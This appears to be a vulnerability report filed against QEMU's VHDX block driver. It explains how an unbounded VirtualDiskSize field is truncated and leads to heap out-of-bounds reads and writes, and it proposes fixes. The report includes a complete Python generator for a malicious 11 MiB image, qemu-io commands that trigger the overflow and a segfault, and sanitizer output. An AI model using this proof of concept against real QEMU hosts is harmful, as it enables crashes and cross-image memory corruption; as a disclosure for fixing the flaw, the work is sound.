## Host environment - Operating system: Ubuntu 26.04 LTS - OS/kernel version: `Linux 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux` (WSL2) - Architecture: x86_64 - QEMU flavor: `qemu-io`, `qemu-img`, `qemu-nbd`, `qemu-storage-daemon` (any user of `block/vhdx.c`) - QEMU version: qemu.git master `d2e570cc0f97b936902a5b1b86b73c0f5998b475` (`qemu-img version 11.1.50`), built from source. Also reproduced with Ubuntu's `1:10.2.1+ds-1ubuntu3`. - QEMU command line: ``` qemu-io -r -f vhdx -c 'read 1099245289472 512' /tmp/vhdx-oob.vhdx ``` ## Emulated/Virtualized environment - Operating system: n/a — no guest is started - OS/kernel version: n/a - Architecture: n/a The bug is in image parsing and I/O translation. It triggers on a **read-only** open of the image; no guest, no VM, and no write access are required. ## Description of problem `vhdx_open()` reads `VirtualDiskSize` out of the image metadata and never bounds it. The 64 TiB `VHDX_MAX_IMAGE_SIZE` cap (`block/vhdx.h:289`) is applied only in the **create** path (`block/vhdx.c:1935`). In the open path the value is read at `vhdx.c:790`, byte-swapped at `:817`, and the only validation that follows bounds `block_size` (`:821`) and `logical_sector_size` (`:828`) — this is where the CVE-2014-0148 fix stops. Two consumers then disagree about the same field: ```c /* block/vhdx.c:1063 -- keeps the full 64-bit value */ bs->total_sectors = s->virtual_disk_size >> s->logical_sector_size_bits; /* block/vhdx.c:875 -- truncates it */ static void vhdx_calc_bat_entries(BDRVVHDXState *s) { uint32_t data_blocks_cnt, bitmap_blocks_cnt; data_blocks_cnt = DIV_ROUND_UP(s->virtual_disk_size, s->block_size); /* ^ computed in 64 bits, stored into a uint32_t */ ... s->bat_entries = data_blocks_cnt + ((data_blocks_cnt - 1) >> s->chunk_ratio_bits); ``` With `VirtualDiskSize = 2**60` and `BlockSize = 1 MiB` (`VHDX_BLOCK_SIZE_MIN`): ``` DIV_ROUND_UP(2**60, 1 MiB) = 2**40 = 1099511627776 stored into uint32_t = 0 <-- truncated bat_entries = 0 + ((0 - 1) >> 12) = 0xFFFFF = 1048575 bs->total_sectors = 2**60 >> 9 = 2251799813685248 (a 1 EiB device) ``` The sanity gate right after cannot catch it, because it compares the *truncated* count against another field from the same untrusted image: ```c /* block/vhdx.c:1069 */ if (s->bat_entries > s->bat_rt.length / sizeof(VHDXBatEntry)) { ret = -EINVAL; /* 1048575 <= 1048576 -> passes */ goto fail; } s->bat = qemu_try_blockalign(bs->file->bs, s->bat_rt.length); /* :1076, 8 MiB */ ``` So the driver ends up with an 8 MiB `s->bat[]` describing a device the block layer believes is 2**51 sectors. `vhdx_block_translate()` then derives the index from the caller's `sector_num` and dereferences it with no bound check against `s->bat_entries`: ```c /* block/vhdx.c:1132-1152 */ sinfo->bat_idx = sector_num >> s->sectors_per_block_bits; sinfo->bat_idx += sinfo->bat_idx >> s->chunk_ratio_bits; ... sinfo->file_offset = s->bat[sinfo->bat_idx] & VHDX_BAT_FILE_OFF_MASK; /* ^^^^^^^^^^^^^^^^^^^^^ no check vs s->bat_entries */ ``` Because `bs->total_sectors` is 2**51, the block layer accepts LBAs up to that value, so the reachable index runs to roughly 2**40 — i.e. `s->bat[]` can be dereferenced up to about 8 TiB past an 8 MiB allocation, at 8-byte granularity, from a single request. Both the read and the write path are affected: * read: `vhdx.c:1152`, consumed at `vhdx_co_readv()` `vhdx.c:1203` * write: `vhdx.c:1375`, and the store in `vhdx_update_bat_table_entry()` at `vhdx.c:1313` An 11 MiB file is enough. `qemu-img info` reports it as a 1 EiB disk: ``` $ qemu-img info -f vhdx /tmp/vhdx-oob.vhdx image: /tmp/vhdx-oob.vhdx file format: vhdx virtual size: 1 EiB (1152921504606846976 bytes) disk size: 1.31 MiB ``` ## Steps to reproduce 1. Save the generator below as `issue_repro.py` (standard library only) and build the image: ``` $ python3 issue_repro.py /tmp/vhdx-oob.vhdx wrote /tmp/vhdx-oob.vhdx (11534336 bytes) VirtualDiskSize declared : 2**60 = 1152921504606846976 bytes BlockSize : 1048576 BAT region length : 8388608 bytes (1048576 entries) ``` 2. Out-of-bounds read, 8 bytes past the allocation (ASan build): ``` $ qemu-io -r -f vhdx -c 'read 1099245289472 512' /tmp/vhdx-oob.vhdx ``` 3. Same code path aimed further out — plain build, no sanitizer: ``` $ qemu-io -r -f vhdx -c 'read 141802381246464 512' /tmp/vhdx-oob.vhdx Segmentation fault $ echo $? 139 ``` <details> <summary><code>issue_repro.py</code> (auditable source, no third-party modules)</summary> ```python #!/usr/bin/env python3 """Minimal reproducer image: an 11 MiB VHDX QEMU accepts as a 1 EiB device. Nothing is malformed except one metadata field: VirtualDiskSize = 2**60.""" import struct, sys, uuid MiB = 1024 * 1024 _TBL = [] for _i in range(256): _c = _i for _ in range(8): _c = (_c >> 1) ^ (0x82F63B78 if _c & 1 else 0) _TBL.append(_c) def crc32c(data, crc=0xFFFFFFFF): # CRC-32C, as in util/crc32c.c for b in data: crc = _TBL[(crc ^ b) & 0xFF] ^ (crc >> 8) return crc ^ 0xFFFFFFFF def g(s): # GUID -> on-disk MS-GUID order return uuid.UUID(s).bytes_le BAT_GUID = g("2dc27766-f623-4200-9d64-115e9bfd4a08") META_GUID = g("8b7ca206-4790-4b9a-b8fe-575f050f886e") FILE_PARAM = g("caa16737-fa36-4d43-b3b6-33f0aa44e76b") VIRT_SIZE = g("2fa54224-cd1b-4876-b211-5dbed83bf4b8") PAGE83 = g("beca12ab-b2e6-4523-93ef-c309e000c746") LOG_SECT = g("8141bf1d-a96f-4709-ba47-f233a8faab5f") PHY_SECT = g("cda348c7-445d-4471-9cc9-e9885251c556") LOG_OFF, LOG_LEN = 0x100000, 0x100000 # 1 MiB log at 1 MiB META_OFF, META_LEN = 0x200000, 0x100000 # 1 MiB metadata at 2 MiB BAT_OFF, BAT_LEN = 0x300000, 8 * MiB # 8 MiB BAT at 3 MiB FILE_SIZE = BAT_OFF + BAT_LEN # 11 MiB BLOCK_SIZE = 1 * MiB # VHDX_BLOCK_SIZE_MIN VIRTUAL_SIZE = 1 << 60 # <-- the only hostile value def header(): b = bytearray(0x10000) struct.pack_into("<4sIQ", b, 0, b"head", 0, 2) b[16:32] = uuid.uuid4().bytes_le # file_write_guid b[32:48] = uuid.uuid4().bytes_le # data_write_guid b[48:64] = b"\x00" * 16 # log_guid = 0, no replay struct.pack_into("<HHIQ", b, 64, 0, 1, LOG_LEN, LOG_OFF) struct.pack_into("<I", b, 4, crc32c(bytes(b[:0x1000]))) return bytes(b) def region_table(): b = bytearray(0x10000) struct.pack_into("<4sIII", b, 0, b"regi", 0, 2, 0) struct.pack_into("<16sQII", b, 16, BAT_GUID, BAT_OFF, BAT_LEN, 1) struct.pack_into("<16sQII", b, 48, META_GUID, META_OFF, META_LEN, 1) struct.pack_into("<I", b, 4, crc32c(bytes(b))) return bytes(b) def metadata(): b = bytearray(META_LEN) b[0:32] = struct.pack("<QHH5I", 0x617461646174656D, 0, 5, 0, 0, 0, 0, 0) ib, off = 0x10000, 32 for guid, o, ln, fl in ((FILE_PARAM, ib, 8, 4), (VIRT_SIZE, ib + 8, 8, 6), (PAGE83, ib + 16, 16, 6), (LOG_SECT, ib + 32, 4, 6), (PHY_SECT, ib + 36, 4, 6)): b[off:off + 32] = struct.pack("<16sIIII", guid, o, ln, fl, 0) off += 32 struct.pack_into("<II", b, ib, BLOCK_SIZE, 0) struct.pack_into("<Q", b, ib + 8, VIRTUAL_SIZE) # VirtualDiskSize b[ib + 16:ib + 32] = uuid.uuid4().bytes_le struct.pack_into("<I", b, ib + 32, 512) # logical sector size struct.pack_into("<I", b, ib + 36, 512) # physical sector size return bytes(b) def main(out): h = header() with open(out, "wb") as f: f.write(b"vhdxfile".ljust(0x10000, b"\x00")) f.write(h); f.write(h) f.write(region_table()); f.write(region_table()) f.seek(META_OFF); f.write(metadata()) f.truncate(FILE_SIZE) # BAT reads as zeroes print("wrote %s (%d bytes)" % (out, FILE_SIZE)) if __name__ == "__main__": main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/vhdx-oob.vhdx") ``` </details> ## Additional information ### Captured AddressSanitizer output (master, x86_64, `--enable-asan`) Out-of-bounds **read**, step 2 above: ``` ==49062==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x78c1de976008 READ of size 8 at 0x78c1de976008 thread T0 #0 in vhdx_block_translate ../block/vhdx.c:1152 #1 in vhdx_co_readv ../block/vhdx.c:1203 #2 in bdrv_driver_preadv ../block/io.c:1031 #3 in bdrv_aligned_preadv ../block/io.c:1398 #4 in bdrv_co_preadv_part ../block/io.c:1822 0x78c1de976008 is located 8 bytes after 8388608-byte region [0x78c1de176000,0x78c1de976000) allocated by thread T0 here: #0 in posix_memalign #1 in qemu_try_memalign ../util/memalign.c:53 #2 in vhdx_open ../block/vhdx.c:1076 ``` Out-of-bounds **write**, from a read-write open (`qemu-io -f vhdx -c 'write 1099245289472 4096'`, built with `-fsanitize-recover=address` so the run continues past the first report): ``` READ of size 8 at 0x6e44bb676008 #0 in vhdx_block_translate ../block/vhdx.c:1152 READ of size 8 at 0x6e44bb676008 #0 in vhdx_co_writev ../block/vhdx.c:1375 WRITE of size 8 at 0x6e44bb676008 #0 in vhdx_update_bat_table_entry ../block/vhdx.c:1313 0x6e44bb676008 is located 8 bytes after 8388608-byte region ``` Aimed 1 GiB past the allocation instead (step 3), the same line faults: ``` ==45572==ERROR: AddressSanitizer: SEGV on unknown address 0x6cc836b76000 The signal is caused by a READ memory access. #0 in vhdx_block_translate ../block/vhdx.c:1152 #1 in vhdx_co_readv ../block/vhdx.c:1203 SUMMARY: AddressSanitizer: SEGV ../block/vhdx.c:1152 in vhdx_block_translate ``` ### Impact Any process that opens an untrusted VHDX is affected — `qemu-img info`, `qemu-img check`, `qemu-io`, `qemu-nbd`, `qemu-storage-daemon`, or a guest disk attached to `qemu-system`. A read-only open suffices for the read and the SEGV. Two consequences beyond the immediate crash: 1. **Cross-image corruption inside one process.** `s->bat` is allocated per node with `qemu_try_blockalign(bat_rt.length)`, a size the *image* chooses. When one process serves several VHDX images (e.g. a `qemu-storage-daemon` with several `--blockdev`/`--export` pairs), those equal-sized allocations are laid out predictably relative to one another, and the out-of-bounds store at `vhdx.c:1313` lands in a neighbouring node's BAT. I have a working demonstration in which one NBD client, using only its own export, changes which payload block another export's LBA resolves to; that second image's subsequent reads return the wrong data and its next write destroys a previously committed block. The victim image on disk still passes `qemu-img check`, because the corruption is in the daemon's heap rather than in the file. 2. **Attacker-chosen write offset into `bs->file`.** In the write path the file offset comes from the out-of-bounds BAT slot, so 4 KiB of guest data can be written at an offset that no BAT or region-table bound ever authorised. To be precise about scope: the target is always `bs->file` — the backing file of the node that received the request — at an arbitrary *offset*, not an arbitrary *path*. I can supply the multi-image reproducer (image builders, launcher, and NBD client, all Python/shell source) on request; I kept this report to the single-file case since that is enough to show the defect. ### Affected versions Both the truncating assignment and the unchecked index are unchanged from **v1.7.0** (when the VHDX driver landed) through master. Checked at v1.7.0, v2.12.0, v4.2.0, v6.2.0, v8.2.0, v9.2.0, v10.0.0, v10.2.1 and `d2e570cc0f97`; executed against master and 10.2.1. ### Suggested fix Three changes; the first alone closes this reproducer. 1. Bound the field where it is read, in `vhdx_parse_metadata()`, next to the existing `block_size` / `logical_sector_size` checks: ```c if (s->virtual_disk_size > VHDX_MAX_IMAGE_SIZE) { ret = -EINVAL; goto exit; } /* the code at vhdx.c:1061 already documents this as an assumption */ if (s->virtual_disk_size % s->logical_sector_size) { ret = -EINVAL; goto exit; } ``` 2. Make `vhdx_calc_bat_entries()` compute in 64 bits and return an error above `UINT32_MAX` instead of narrowing into `s->bat_entries`. 3. Defence in depth: have `vhdx_block_translate()` return `-EIO` when `bat_idx >= s->bat_entries`, and check it in its three callers. The gate at `vhdx.c:1069` compares two attacker-controlled values and should not be the only thing standing between `sector_num` and `s->bat[]`. I have this as a patch against master that applies cleanly and passes `qemu-iotests -vhdx 004 070 072 105`; happy to post it to qemu-devel if that is more useful than a description here. ### Tooling disclosure Per the template note: this report was prepared with the assistance of an LLM coding agent (Claude, via Claude Code). The bug was identified by manual review of `block/vhdx.c`, not by a fuzzer or static analyser; the agent wrote the image builder and the test harness, built QEMU from master, and ran every command. Every line quoted above is captured output from an actual run on the environment described, not a reconstruction, and I have re-run the steps in "Steps to reproduce" myself before submitting.